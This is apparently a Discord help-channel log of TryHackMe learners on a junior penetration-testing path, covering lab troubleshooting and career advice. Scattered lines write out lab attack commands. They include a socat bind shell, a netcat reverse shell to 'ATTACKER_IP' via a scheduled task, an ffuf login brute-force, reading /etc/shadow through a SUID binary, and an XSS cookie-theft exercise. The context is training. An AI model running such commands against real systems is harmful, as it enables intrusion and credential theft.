junior-pentester-path

[undone flint]

my flag is THM{SQL_INJECTION_3840}

for task 6

but it is not taking it as correct

[undone flint]

am i doing something wrong? i finished the other tasks in the Blind SQLi room, but not step 6 , so that room is now ma first room that does not complete

in the login form, i got "You bypassed the login and can now move to the next level", so that looked good, but the flag presented when entered give me computer says no

[glad crypt]

try to type in the flag I also had an error when i pasted the flag

Anyone in Privilege Esccaltion Room?

[hollow dirge]

I also feel the same. Started 20 days ago but i believe consistency is the key!

[magic dome]

Exactly, keep it going! But don’t forget to stretch a bit, knowledge is important but health is more. Don’t over do it, could lead to burnout. That’s all, fell free to dm if you want

[prisma raptor]

Which privilege escalation room is this?

[prisma raptor]

Have you checked if there are extra spaces in the flag you copied?

[glad crypt]

Linux one

[modest arch]

I think i need help with Windows AD. Its not letting me Remote Desktop Connect. Saying that the connection is conflicting with another connection?

keep getting this error:
The remote desktop server has closed the connection because it conflicts with another connection. Please try again later.

[violet brook]

Which room ?

[modest arch]

I was doing WIndows AD. But i figured it out from the instructions. SInce I ran the machine in my browser and i"m on linux. I didn't nor couldn't run RDP to connect. It was optional

Thanks for the assist though

[dreamy kernel]

the what the shell room is NOT 45 mins 😭

reading alone took me an hour to digest

[violet brook]

My advice is to ignore that timer , it's useless 🙂 . Don't pay attnetion to it at all

[dreamy kernel]

yeah I knew that from a long time ago but setting it up as 45 mins is super funny to me haha

[magic dome]

i am doing the room What the shell? I am experimenting with socat and when i set up the bind shell i have a connection like "0;@ip-10-10-23-94:~7;file://ip-10-10-23-94/root" why could it be? i connect to shell like this: socat TCP:10.10.120.15:4444 EXEC:"bash -li"

[fleet latch]

Hello guys, can anyone here help me with one question or better said help me get "unstuck"?

I am working on the optional challenge in the Upload Vulnerabilities room. (The jewel website)

I remove client-side checks for file upload, I've downloaded nodeJS reverse shell and adjusted its content to my port number 4444 and IP address, I have avoided the server-side check by MIME; uploading reverse shell as .jpg successfully. Enumerating /content directory with gobuster I can see that now there is additional jpg image, which my reverse shell. However, when I try to trigger it from /admin page by doing ../content/<imageName>.jpg it doesn't trigger the listener on 4444 port. I just get an error message "module does not exist". Am I missing something?

[hardy sierra]

Hello Guys, I'm currently on the content discovery room. Task 6

I think that this URL: https://static-labs.tryhackme.cloud/sites/thm-web-framework is already dead?

[formal river]

Hey friends,
I’m stuck on Task 12 of the Burp Suite Intruder room (https://tryhackme.com/room/burpsuiteintruder?taskNo=12).
I understand the steps needed (macro for session + CSRF token, Pitchfork attack, etc.), but I can’t actually complete the brute-force because Burp Suite gets extremely heavy on memory and becomes unresponsive during the attack.
Has anyone found an efficient workaround for running this attack with such a large wordlist without crashing Burp?

[keen crow]

Hi guys, I just completed the Jnr pen tester path. I wanted to know if there's anyone here who has taken the PT1 CERT EXAM?

[violet brook]

Check out #pt1 exam 🙂

[amber herald]

hey, i am new here, i just finished the JR pentester path, is there any suggestion of rooms and challenges that i can practise my skills on? i would love to have a list of 20 rooms for exemple that are easy to begin with

[violet brook]

Try this one 🙂
https://tryhackme.com/room/smol

[amber herald]

thanks!

[stoic cedar]

Hello, I wanted to know if it's normal that I find the lateral movement and pivoting room extremely difficult even though it's supposed to be an easy room.

[prisma raptor]

THM has a criteria on how to classify rooms in terms of difficulty. While that is 'standard', you may not have the needed background or requisite knowledge for the room.

[violet brook]

Yeah it is a bit of advanced topic

[stoic cedar]

can someone help me ?

sbmclient doenst work

for the roo lateral movement and pivoting

[prisma raptor]

Based on the error though, it doesn't seem to be an smbclient error?

[stoic cedar]

Yes i saw that, but i dont understand why it is doesn't works

I just followed thm room instructions

[silent siren]

People

Does anyone want to play CTF?

[prisma raptor]

Looking at the error alone, it seems to be an incorrect password

[stoic cedar]

But the password is correct

[worthy tide]

guys can someone help me with task5 Linux Privilege Escalation room

?

[blissful wave]

@worthy tide yo

[violet brook]

what's the issue ?

[quartz temple]

Hello I was on vulnerability 101 Task 4:
Using NVD, how many CVEs were published in July 2021?
Since i am not able to find full listing page on nvd and also since it is down i used wayback machine were the ans is 1585 but thm shows it as wrong ans can some one help

[violet brook]

Which query did you use on NVD ?

[quartz temple]

on the curr nvd site i could not find the full listing option
So i went to wayback machine and got the old nvd page that had the full listing page and in that i went on 2021 july

[quartz temple]

.

[violet brook]

Can you provide a screenshot please ?

[prisma raptor]

That number still includes rejected CVEs.. you should unselect those in your filter.

You may wish to verify your account and post images instead (as folks won't simply click on links from random folks from the internet).

[limber gulch]

Hey I'm looking for a mentor or someone to go through this with as I feel I learnt better with someone than by myself, can send me a message, I'm a noob trying to learn

[glacial lotus]

i cant wrap my head arround linux Privilege Escalation. Im dont know what to do mos times. Task 6 was the only one so far i could understand. But kernel and SUID i dont get it.
How you guys learn this stuff ?

[violet brook]

What casuses the confusion 🙂 ?

[glacial lotus]

it was multiple things tbh.
I was executing the GTFObins wrong. I didnt understood was bitsets means in the right context and how its connected with
"find / -type f -perm -04000 -ls 2>/dev/null" command.
But yesterday at work i watched 2 youtube videos that where explainign thses thing at a very core level. And it made click finally.
Know i understand what the command does and shows me and how to proper uses gtfobins and finished the labs

[brisk gate]

Just getting started, does the training path prep you enough to pass the cert or is additional training recommended ?

[prisma raptor]

Is this a PT1 related question? If it is, suggest to post it on #pt1 for better traction.

[brisk gate]

Is this the correct training path for PT1?

[molten plank]

Room called: What the shell, task 13 Q6/7
Hey guys is there a way to do this task, i cant get the powershell, i mean i can connect but when i type commands i dont get any answer

[prisma raptor]

Which powershell reverse shell payload are you using?

[molten plank]

Php Reverse shell modified, I changed de uname to make a power shell

And I can connect, but after I use a command I don't get any response 🙁

[prisma raptor]

Got confused there. I thought you need to connect via Poweshell?

[modest arch]

Hey

Anybody hopin' into Windows privilege Escalation >>

Lets do togethor

[modest arch]

Same here onward to task 6 or 7 i took the help of writeups 🙁

[gaunt fractal]

does anyone know a good youtube channel walking through this path? not the ones that just show the solutions, i mean the ones that actually explain the stuff?

[fair dew]

"The $ in SMB/CIFS URIs means that the share is hidden, and won't be displayed when browsing shared folders"

so why can I view the share names when running
smbclient -N -L //10.129.34.168

[violet brook]

Check out @coarse pebble , he has some great content 🙂

[violet brook]

Can you provide a shot please 🙂 ?

[clever flare]

Hello, in the file inclusion room, challenge 3, we are to change the http request from get to post in order to bypass the string filtering. I see on online writeups that people use curl. I do the exact same using burp but it never works. The include function shows: include(.php).
Anyone has any idea why burp doesn't work?

[violet brook]

How are you changing request method in Burp ?

[clever flare]

Repeater > Inspector > Request Attribute > Method

[hoary pasture]

Hello, can you suggest any additional "beginner friendly" labs where I can practice what I learned on the jpt path? I'm trying to combine THM and portswigger, do you have other suggestions? Thank you in advance

[violet brook]

Check this one

https://tryhackme.com/room/basicpentestingjt

[violet brook]

Can you please verify and provide some shots ?

[ashen moss]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Sep 3, 2025, 5:37 PM

[fair dew]

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        sambashare      Disk      test SMB v3.1
        IPC$            IPC       IPC Service (Test SMB server (Samba, Ubuntu))```

[violet brook]

Anonymous login is probably allowed that's why you can list shares

[ashen ocean]

Hi I hope that you’re fine
Please gys is the jpt free ?

[violet brook]

Majority is but not the whole path

[cyan torrent]

Does the jrpt cert include more training or just being a exam ?

[violet brook]

For a cert. advice try to ask in #cyber-and-careers channel . This channel isn't as active as much

[cyan torrent]

has anyone solved Vuln Capstone room?
I have downloaded the script but cannot execute RCE
Pls help meee, thanksss

[violet brook]

Can you provide some shots please ?

[cyan torrent]

i dont know how to use this exploit script
i dont understand the word "Vulnerability", what should i provide for that argument

ahh, i got it, tks

[violet brook]

remove fuel from the cmd

[wicked gyro]

Is this path enough to try PT1 ?

[glacial lotus]

Sry read the reply to late, hope you getting better at it. I'm on windows priv escalation right now. How far u progressed so far ?

[violet brook]

No , go on the link below and click on Recommended Learning to find the full learning path for PT1 , you also need a lot of practice

[modest arch]

M done with tha

[wicked gyro]

Thank you

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5922)

[glacial lotus]

And made it click for your ? Or still need help on that topic?

[modest arch]

I took help to understand

[modest arch]

didn't rely only on THM --- To complete tha task i went over AI too

[glacial lotus]

yeah same after 2 days in this module i watched a video of someone explaining piv escelation for dummies and then i clicked for me

[weary galleon]

Hello everybody

Any mercifull soul that could help me in a osint situation please? Still learning a bunch of stuff but I could really use some help

[soft yew]

shoot, what's your question?

[weary galleon]

@soft yew mind if i send you a dm mate?

dont want to polute the chat with a bunch of questions

[soft yew]

well, that's what the chat is all about. Kinda 😄

[violet brook]

What's the issue ?

[weary galleon]

Ok ill explain

Im finishing my course on cybersecurity and the final project consists in finding public information about the school

The teacher told us to use a bunch of websites and whatever tools we want to use

The problem is that I cant find some stuff that he is asking in the project like public emails or documents like pdfs or .doc .xls

I already found ip adresses domains subdomains server software etc etc

I already use a couple of transforms from maltego

And other Kali Linux tools

Sorry can you explain better please?

Is that like Google dorks?

[wicked gyro]

Yes

[weary galleon]

Yes I already use it

And the only thing I can find is a simple pdf file

My question is like: is there any other tool that could be more accurate? I dont know like… a specific tool?

[wicked gyro]

You can find some on github

[violet brook]

We can't help you with school work #rules

[latent badger]

@hollow marsh we're you able to complete it? It keeps DOSing on me as well.

[weary galleon]

Ok… it doesnt make sense to me but thank you anyway

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5928)

[glacial lotus]

Yeeeeah
2 Month of daily grind

[modest arch]

Congratulationss buddy

[weary galleon]

Gz mate!

[glacial lotus]

Thanks ❤️
The grind never stops

[quick abyss]

How was the exam? Like what style was it?

[violet brook]

Great job , keep up the good work 🙂 🚀

[violet brook]

Which exam ?

[quick abyss]

the PT1 exam?

[cursive wasp]

hi im doing jr pentesting path and my attack box server is very far so ping is very bad i want to setup that lab in my pc as vm i have a fine spec pc 32 gig ram r5 5500 and gtx 1060 good enough for labs so i want someone to help me with it please cuz im really new to all this
i am in india fyi so .... yea i would love to have a meet or a call to help with setup
i already have kali , ubuntu and a wazuh vm ready

[soft yew]

the screenshot is not from PT1 exam, it's the finish of the path Jr. Penetration Tester.

[violet brook]

This isn't a PT1 channel , if you're interested in pt1 check out #pt1 🙂

[hexed creek]

hi can i know how to change this region to something else cause my attack box very laggy, i already try to changed in my "access" with EU-VIP but it doesnt effect anything

[weary mesa]

Server Region is under Profile > Manage Account > Account Details (https://tryhackme.com/manage-account/account-details)
after selecting a different choice, Save Changes button turns from greyed out to green

[hexed creek]

I see 👍

[weary mesa]

please tell here if things improve after changing your Server Region, that would help
thanks

[next lance]

Gave +1 Rep to @hexed creek (current: #3157 - 1)

[hexed creek]

woo tbh it much more better eventho it kinda laggy but still much better than before, thanks for the suggestions

[next lance]

Gave +1 Rep to @weary mesa (current: #13 - 798)

[weary mesa]

you went from US-East to Europe, I guess?

[hexed creek]

yup

eventho actually im in asian

but still acceptable

thanks budd

[quartz temple]

hello i am doing the linux priviledge escalation room in that the Task 11 I am getting this error when i am trying to run the compiled c code
./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)

@violet brook

[weary mesa]

check this (issue 2): #1377021985795870810 message

[quartz temple]

okay thank you

[next lance]

Gave +1 Rep to @weary mesa (current: #13 - 824)

[simple zodiac]

I am new using tryhackme how to step step with deep knowledge of everything how to get how to study how to get this

[robust prairie]

Pre security. Your best bet is to pay for subscription. Because it’s a very detailed description on everything. You’re not gonna jump right into it and know everything. You gotta start from the very bottom. But pre security is your best bet. And well organized. Have fun!

[violet brook]

Check out this article

https://tryhackme.com/resources/blog/free_path

[hexed creek]

hey guys, i wanna ask if i connect to my openvpn for exp EU-vip than my attackbox region is EU server does it have an impact on it such as no laggy ?

[weary mesa]

I would expect so
however, what matters in the end is how you experience it
About the Server Region, I have seen several users complaining that had a better experience after switching from "US-East (Virginia)" to "Europe (Ireland)"

[ashen bloom]

When should I start this path?

I just started TryHackMe about two days ago and have gone through almost the whole pre-security pathway. (With free version)

I have no to little experience with cyber security/hacking.

[violet brook]

You should finish Cyber101 path before this one

[ashen bloom]

Ok thank you

[next lance]

Gave +1 Rep to @violet brook (current: #1 - 5947)

[heavy drum]

Is Cisco Ethical hacking course worth it?

[violet brook]

Why not 🙂 ?

[ornate pike]

its not

[heavy drum]

why

[ornate pike]

its doesnt teach ethical hacking at all

and its too specific

[crimson cape]

.

[heavy drum]

Thank you for letting me know.
Do you recommend me any ethical hacking course as a beginner?
I thought about eJPT

[next lance]

Gave +1 Rep to @ornate pike (current: #3172 - 1)

[soft yew]

I would recommend TryHackMe 🙂

[sharp geode]

Hey guys I am newbie in this field (have zero knowledge in IT)and I want to change career in ethical hacking how should I began.

[weary mesa]

have a look at THM roadmap: https://tryhackme.com/hacktivities?tab=roadmap

[quiet mesa]

look at the thm roadmap, start with pre security then cyber security 101

its all in there

[lilac vale]

Linux and Windows Privilege Escalation has been the worst experience I have dealt with EVER

[quick abyss]

tbqh I have restarted the windows one having felt like i missed the point

[prisma raptor]

Are you referring to the Tib3rius rooms?

[lilac vale]

https://tryhackme.com/room/windowsprivesc20 and https://tryhackme.com/room/linprivesc

[tender patrol]

Task 6 virtual hosts of subdomain Enumeration is giving me problems. I'm having no luck and been stuck on this lab for a while. I followed the instructions but still don't get the subdomain names. Any step by step? I'm not sure what I'm doing wrong

[azure steeple]

https://www.youtube.com/watch?v=8UOr0AWSxlc

[azure steeple]

Agreed. This is the one I'm stuck on because the Windows machine simply won't launch.

My attack box does but the wprivesc2_v1.1 doesn't appear at all. I tried two browsers, cleared cache, relogged..nothing helps.

It's like my last one for this path too so quite annoying. Had to go through the whole part 3-5 with a weird bug where it was constantly right clicking on its own and I had to alt tab constantly to fix it..

[weary mesa]

for the target VM, have you used RDP to connect to the target, as a workaround?

[weary mesa]

that weird bug, is that a paste popup window appearing all the time? if so, please check this past message: #site-support message

[azure steeple]

I’ve tried but it asks for a domain name with remmina and I’m not sure how to find that but I will try again

Maybe I’m doing it incorrectly

[azure steeple]

Oh thank you! Yes it was!

[next lance]

Gave +1 Rep to @weary mesa (current: #9 - 973)

[weary mesa]

in my experience, no need for a domain, just enter the IP

[weary mesa]

as per screenshot

[azure steeple]

Thank you! Appreciate it

[next lance]

Gave +1 Rep to @weary mesa (current: #9 - 974)

[modest arch]

Hi all. I've come across a really annoying bug in the "Walking an application" room. When I try to enter the flag for the fifth and final task, it keeps automatically inserting an underscore in the wrong place so I can't successfully submit. Doesn't matter if I manually type the flag or try to copy/paste. Anyone come across this before? I've tried switching browsers and logging out/logging back in to no avail.

[prisma raptor]

Not even refreshing the browser worked?

[modest arch]

Nope. It's weird. I'm on an Ubuntu laptop. Maybe I need to try my Windows machine.

[winged lotus]

yea im having the same issue

[trail maple]

hello. in the https://tryhackme.com/room/passiverecon room at task no 6 this question : Based on Shodan.io, what is the 3rd most common port used for nginx? requires the answer 5001. but the current 3rd most common port, that if my way of telling that is not wrong, is 888.

https://www.shodan.io/search/facet?query=nginx&facet=port

[weary mesa]

@modest arch @winged lotus it may be the wrong flag also
you are welcome to share it here, but avoid spoiling by inserting it inside double pipes like this || secret flag ||

[weary mesa]

that is an issue with data that is dynamic
you may want to add your contribution to the bug report about this: #1358767203830333592 message

[nimble nacelle]

try googling the room name but at the top select "videos" or just go to youtube & search for your room name & look for one of the longer videos (use right click so you can check out several) & find one that sections the work by Task #1 - some explain really well, but some just zip through, so find one that explains & follow along & likely see where you stepped off the beaten path.

[nimble nacelle]

The last task in that room is Task 6 is that what you are referring to? If so, its not a bug - you are not done - the one you found is red herring. Keep going & follow all the steps.

[nimble nacelle]

THM VM is all on their site - how you access it makes no difference except for maybe speed/latency.

[modest arch]

Is the flag not || THM{HEADER_FLAG} || ?

[modest arch]

Yes I meant to refer to Task 6. I shared what looks to be the flag in my last message to @weary mesa.

[weary mesa]

that is not the flag THM wants I suggest you check the Hint

[grave olive]

Wassup

[quartz cipher]

What's up everybody! Totally new here and posting because I'm getting pretty frustrated. I'm on Local File Inclusion, Task 4, and I'm really confused as to how I'm supposed to get to the answer. I've got the Attackbox on, I've entered in the filename that I'm looking for in their search bar, but the output is nothing like what the answer is looking for. What exactly am I supposed to do?

[low tapir]

Ask echo

[timid shale]

Well after almost what felt like an eternity I have just managed to successfully complete the Junior Pen-tester Path. It was soooo difficult but very informative and well worth the hard work. I have enjoyed every minute. It must have taken me closer to 60 hours to complete rather than the stated average of 30 hours, but the time just flew by really quickly. 😃

[soft yew]

congrats, nice job 🥳

[unique junco]

What is the "penny" user's SMB password? Use the wordlist mentioned in the previous task. - I don't seem to understand this question. Is there a user called 'penny'?

[grizzled imp]

correct.

[lunar steppe]

Hi people

In the vulnerability 101 room task 4 they are asking for number of cves published in july 2021 on nvd plat but even if i put the right number thats 1585 its nit working i finished the room but this task is blocking me

[snow blade]

When putting the filter on the date, you get 1585, there is another filter you need to add to get the correct number

[lunar steppe]

I put the range from 1 to 31 july if 2021

What more filter should i add

[snow blade]

Click through the different categories when modifying the filter, it will be obvious when you see the option

[lunar steppe]

I got it

Ty

[stuck topaz]

Done!

Done!

[waxen wagon]

In Authentication bypass room, i am getting all error while brute forcing. did this happened to anyone else or I am doing any mistake?

[snow blade]

Have you checked this?
Note: If you created your valid_usernames file by piping the output from ffuf directly you may have difficulty with this task. Clean your data, or copy just the names into a new file.

[waxen wagon]

I made it manually in the directory and also again from the terminal yet its giving all error. i have tried almost 3/4 times

[snow blade]

can you copy paste your command here?

[waxen wagon]

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200 copied this command and paste exactly, i think its having problem in the username file but i checked that yet its all giving error.

[snow blade]

is the machine still up and running? Do you see machine information at the top of the page? if not, start the machine in task 1

[waxen wagon]

yeah while doing the room machine was running. i checked the url, can't understand where's the problem

[snow blade]

Change machine_IP with the IP of the room:
http://machine_ip/customers/login

[waxen wagon]

well i did this, machine is not running rn thats why its showing machine ip but when i did then there was ip. its not the issue.

[snow blade]

and check the location of the password file, if this is correct on your machine

[waxen wagon]

the password file was in the root directory and so the username file. i have watched some videos also but even doing exact same mine is not working, it's testing but showing all error

[snow blade]

Did the room again untill brute force, had to change the password file location, after that it works.
I think it's the SecLists in the path that's giving the issue

try with this(but check if file path is the same on your machine): /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt

[waxen wagon]

okay. Thanks btw

[snow blade]

Happy to help and good luck!

[trail maple]

hello, i am doing the Windows Privilege Escalation - junior. and on task 4 i need to use this command in powershell. C:> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat i get an error. i watched a walkthrough video on youtube, i can't see any mistakes on my part. where can i get help?

i tried putting this "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444" between comma as perplexity and chatgpt said, but while the command works, i get nothing on the listener

[prisma raptor]

To confirm, the nc executable you are using came from where? Also, have you checked that you are using the correct version? If I recall it correctly, there is only one version of nc that accepts the -e parameter

[trail maple]

From the vm ... I didn't upload anything. And the listener i opened was on the attackthebox. I didn't use rdp or ssh for this exercise.

[trail maple]

i found out my mistake.... the command should have been run in cmd not powershell

[trail maple]

Didn't find an instance where it said this, but only there works

[eager sand]

Are there other TryHackMe rooms like https://tryhackme.com/room/lofi

[latent stirrup]

https://tryhackme.com/room/walkinganapplication?taskNo=3&sharerId=6874420a1f0f8f3a8dfd0256

Hi guys. Please help me i'm stuck on this task since 1 week

The two last flags

Idk how to find the flag

I've viewed the page source codes but i don't still found the flags

[latent stirrup]

No body wants to help me?

[modest arch]

Dm me maybe i can

Or describe completely

[lunar steppe]

the privileges escalations is rough

[prisma raptor]

Please be patient as folks here are mostly volunteers.

[latent stirrup]

Okay thanks

[next lance]

Gave +1 Rep to @hollow venture (current: #3244 - 1)

[latent stirrup]

Oh ok

[lunar steppe]

guys in the privileges escalation room task 7 we have to look for a way to read /etc/shadow and /etc/passwd in the thm example they used nano but we cant do same because there is no nano file when we look for it by doing find / -type f -perm -04000 -ls 2>/dev/null but i searched for the solution and ive found that they used base64 that have a s bit set and we can exploit that by using gtfobins ok butt i cant i dont understand how to do it i cant use sudo the user isnt a sudoer so i cant use nano too i dont know how to do that furthermore the example they give us on thm was not that accurate let me know if i missed somehting

[weary mesa]

with base64 having the SUID bit, gtfobins tells you how you can read a file like /etc/shadow

[lunar steppe]

ok ive found the hashes

but now i cannot do any with thses hashes

[weary mesa]

why?

[lunar steppe]

bcs i dont ahve any permission

ive seen that someone in the walktrought that put the hash in a file called literraly hash and then used it to crack it with john the ripper

id even know if i can use john

i missed somethi9ng meybe but i dont think

@weary mesathats why

[weary mesa]

/etc/shadow contains password hashes, try to crack them, with the goal of moving from user karen to another user

[lunar steppe]

@weary mesa i just dont know how to do it if i cant use any tool

[weary mesa]

the "Cyber Security 101" learning path has a module that covers that, in particular the room for John the Ripper, as per screenshot
if you do not have that expertise, use google/chatGPT/whatever so you can do online cracking
if you are stuck, use the following hint: || here is a resource for online cracking: hashes.com ||

[vernal rampart]

Can anyone help me, I have completed the authentication bypass (Jr. Pentester) room in try hack but I completed that in the lab but how to test it in the real website using fuff tool, please anyone help me

[lunar steppe]

@weary mesa i have the hashes but i cant put them in any files to use john how am supposed to crack it lol

[weary mesa]

you use john on your attackbox, i. e. your own local machine or the in-browser attacking machine provided by THM
you do not run john in the target VM
john is one of these tools you carry along in your hacking toolbox 🙃

[lunar steppe]

Ure right ty

[inland mirage]

Hey I have some questions about atopic I didn’t fully understand in the
authentication bypass
Task 4 - logic flow
If anyone can help me understand

[inland mirage]

I’ll try to elaborate maybe it will help with the answers
In the task 4 it says the author understands he need to sent curl with the right string to somewhat inject to the php?
So I’m not familiar with php or with how did he got to that
It’s pretty simple watching what he did as an answer but I want to understand the path he took to know what to do there

[lunar steppe]

hello guys i wonder if the jr pen tester certificate has an expiration date

[prisma raptor]

Yes, it is valid for three years after which it needs to be renewed

https://tryhackme.com/certification/junior-penetration-tester (see FAQ section)

[lunar steppe]

alr ty

[stuck topaz]

Done!

Done!

[tranquil compass]

Learning a lot with THM, probs will do this path next.. my question is “is this cert actually good for anything?”.. I wasn’t expecting it to be and am doing it out of personal interest, but I figured at most I’d put it as a post on LinkedIn..

Like I said at most, but curious other people’s exp

[soft yew]

might be some discussion about that in #pt1 🙂

[tranquil compass]

Who got time for that?

[gaunt flower]

i am just 3 rooms from completing this room

[dreamy remnant]

Hi I am Naruto Uzumaki ... I would like to ask something... Is this junior-pentester path even worth it.....

What are ur personal experiences

[tranquil compass]

Probably for your skill level, but not for recognition.. THM is a 7/10 learning platform but the certs don’t mean anything to employers

[dreamy remnant]

ohh

[stuck dagger]

I'm on a 26 day streak and just started the JPT path. I'm also studying the network and security+ simultaneously. I like the training platform but I get it doesn't mean much to employers.

[tranquil compass]

I thinks it’s the certs that don’t mean much and our system revolves around pieces of paper. Get your certs that mean something, but what you learn in THM will mean something as well.. but you need to get to the place where you have the chance to “show what you know”..

Every path has its struggle, pick yours. You could be the kid who scratches and claws for his degree to mean something and scathed his way through a 4yrs bachelors (more common than you know)… then fails the skills portion and finds getting employed hard because of it.

Then he finds himself needing to circle back and get certified because of it, in spite of having a degree.

If no degree, networking means something way more, and that doesn’t mean “playing fake” and shaking hands at coffee hours, you should be attending clubs, hackathons, open source projects and conferences like your life depends on it.. don’t be pushy, but these are open to the public spaces where you have a chance to “show what you know”

Some of the people you meet there will be in a position to extend offers or communicate with people who can.. if you are who you need to be at that time. If you keep building your skills you’ll reach point where people are surprised you’re not employed in the field, or not in this position.. then when opportunities arise your name will be one of the first to come up.

Most of all don’t become jaded because what you think you “deserve” doesn’t fall in your lap (not saying you are but it’s common).. people with zero experience join this field because they think it’s an easy six figures, if your truely passionate about the subject the first few years of leg work shouldnt mean much (of course it sucks)… but your interest should get you through that portion…

I honestly think the field becoming oversaturated is a good thing in a round about way, it will drive out the people looking for easy paychecks with a paid yoga hour. And good because those are the people who skate the second they find a place to do so.

It’s not what you can do in 3 months that counts, it’s what you can sustain for years on end and still be enthusiastic about.

[tranquil compass]

Or somehow ascend to upper management and don’t have a clue what they’re talking about, thus making life harder for everyone else for reasons that literally make no sense or are counterproductive.

[stuck dagger]

Thank you, thats very insightful. Im actually working on network, security, and then pen test+ and using THM as a practice/learning room.

Also in the process of setting up VMs to practice on when im ready.

[eager sand]

how can i enable copy/paste from my host machine to tryhack me machine

[sudden wren]

The directions of burpsuite intruder on last task is a puzzle to me luckily there is AI but it could be easier to understand.

[vernal rampart]

Anyone suggest what I do for pentester intership

[sudden wren]

That's a first there is pentest internship?

And here I thought all jobs for pentesting is at least 2+ years experience,

[prisma raptor]

Are you using the Attackbox or your local VM as an attack machine?

[prisma raptor]

You may want to head over to #cyber-and-careers and folk there might be able to point you to the right direction

[spare talon]

Hello friends, I´m wondering how hard can PT1 cert be if attempted right after finishing Jr Penetration Tester path. Is it doable, or it escalates too much in difficulty?

[regal ice]

Hello Guys,

Under the jr pentester path I'm currently doing the File inclusion module (Jr Penetration Tester -> Introduction to Web Hacking -> File Inclusion)

The last section of this module is challenges, which I'm unable to figure out without referring to walkthroughs on medium. What is that I could be doing wrong and how can i bridge this skill gap?

[tranquil compass]

More than likely just exposure and repetition, unless you did the “intro to cyber” path, a lot of these concepts are going to be your first introduction to them.. expecting one or yourself to be able to accomplish each task flawlessly after a simple read through is not necessarily realistic

Can download you own VMs set up and attacker and target and attacker box and run reps

Just see everything as exposure to the material until you finish JR then go back and rep what you didn’t retain.. nothing wrong with walkthroughs as long as you use it to identify what you don’t know and go practice it until you know it

In the grand scheme of things even if/when you pass PT1 if you decide to go that route, you’ll still be at a “have been exposed to the material” level and not much more.. unless you decide to do more practice in your own time.. I’m basing that off of the pathway THM provides alone.

I had to consult a walkthrough for Linux Priv Escal and the dude who makes the walkthrough is a professional in the field, and he was getting frustrated.. albeit he doesn’t edit out his mistakes and solves them in real-time which most walkthroughs don’t provide..

[regal ice]

Thank You @tranquil compass - Appreciate your feedback... it makes sense... Yes I'll be aiming for the PT1 in the coming year....i plan to do the all the recommended materials that was highlighted in PT1 learning resources in addition to the Jr Pen tester path. Thank you once again.

[next lance]

Gave +1 Rep to @tranquil compass (current: #3307 - 1)

[frail sandal]

Hey! I am facing some issue with Bypassing UAC room so when i starts the machine its constantly "reconnecting with remote machine" its says, so i terminate it and starts again and again 3 to 5 times but same issue and I'm unable to rdp it through my vm and also with attackbox and in the end i got this...
Please help me what's going on is it my mess or something else.
Thanks

[simple pawn]

Hi,
I shared a new post on my TryHackMe learning progress.

Post link:
https://www.linkedin.com/posts/hasanalih_tryhackme-cybersecurityjourney-learningeveryday-activity-7401506109276229633-t0jo

[graceful lark]

hey guys i have a question. I'm doing the linux privilege escalation room and for some reason on Task 5 whenever i try to use wget to grab the exploit file from my python http-server it tells me that write permission is denied

wondering if anyone would be willing to help me

[radiant gale]

I would imagine you need to change write permissions on the file, do you know the command?

[graceful lark]

yeah I figured it out thank you! @radiant gale

[radiant gale]

nice

[dusty reef]

wowowowow..

[leaden bane]

How was this solved, guys?

[ornate flame]

I went through that yesterday, and I didn't experience any problems

[leaden bane]

I am experiencing the exact same problem as this one @ornate flame but I think it's my own cookie my net cat listener grabs...

[leaden bane]

After firing up the listener, and grabbing the cookie in that request, did you not just decode it and submit as answer??? @ornate flame

[ornate flame]

I'll have a look in an hour, on the road rn

[ornate flame]

Its with the staff session cookie right?

[leaden bane]

Yeah. I decode the cookie I grabbed from the listener, and submit that as answer. But get a lot of errors, including incorrect answer and expected answer format is different.

[ornate flame]

Only include the last part

Don't include the staff session bit

[leaden bane]

cookie=eggh6755fghj886xxcvh76543edg

I decode the value, and I get something like:
session=efoow9873yeghs9277shs

I submit only the value, but get the error..

The exact error is:
``Uh-oh! The answer you provided may not be in English. Please review it and try again..```

On other instances, I just get incorrect answer as the error message.
@ornate flame

[ornate flame]

what steps did you take to get that cookie, because it is most definitely not correct

[ornate flame]

Okay so.

You should get something like this from the netcat listener.

cookie=dGhpcyBpcyBhIHJhbmRvbSBiYXNlNjQgc3RyaW5n

(not the actual cookie)

which you then need to decode (base64)

then you get:

staff-session=4CD305E55956197690F02D6G8FD2A321

(not the actual session token)

then you need to put 4CD305E55956197690F02D6G8FD2A321 into the thm question.

[leaden bane]

When i decode what I get, I get session=hsjsj3837eyehjs9s8h

and not staff-session= 2388shdnks99wjssbhskw98

The moment I submit the payload into the field for the ticket creation, I get a response on the netcat listener... I don't think that should be the case. I should get a listener connection when an admin views the created ticket instead, right??? @ornate flame

[leaden bane]

I fire up the netat listener as instructed, and then I used the payload in the input field of the create ticket button. Upon clicking on create ticket, there is a cookie captured in the listener already. (This cookie likely belongs to the same logged-in user I created at the beginning of the task)

[ornate flame]

that cookie must be ignored.

You need to put the xss line into the field when you create the ticket

once thats done

click on the ticket ID

and you should get the results in the terminal were you ran the nc command

[low swift]

Hi, I'm having this same issue. I tried changing the perms - but it's still happening. Can you advise how you resolved?

[noble lintel]

Please does anyone know how I can fix this

Premium but not working

[modest arch]

Anyone solved challenge 3 in file inclusion room? I got stuck

[modern monolith]

Hello guys, I am new to TryHackMe. I started my journey in nov. And i am super excited to become a pentester. I know it's gonna be hard and it will take time, and I am ready. Right now, I know Linux (basic, ofc), and some basic things here and other. NGL when I used Wireshark and Metasploit, i was sooooo happy, and when i solved some questions all alone, that feeling dayum better than playing Valorant. I hope all newcomers like me enjoy, and I request my seniors to help us noobies.

[spice parrot]

@modern monolith im doing the same but I'm on network on the 101 path

looking forward..........

[modern monolith]

Nice bro, same here looking forward.

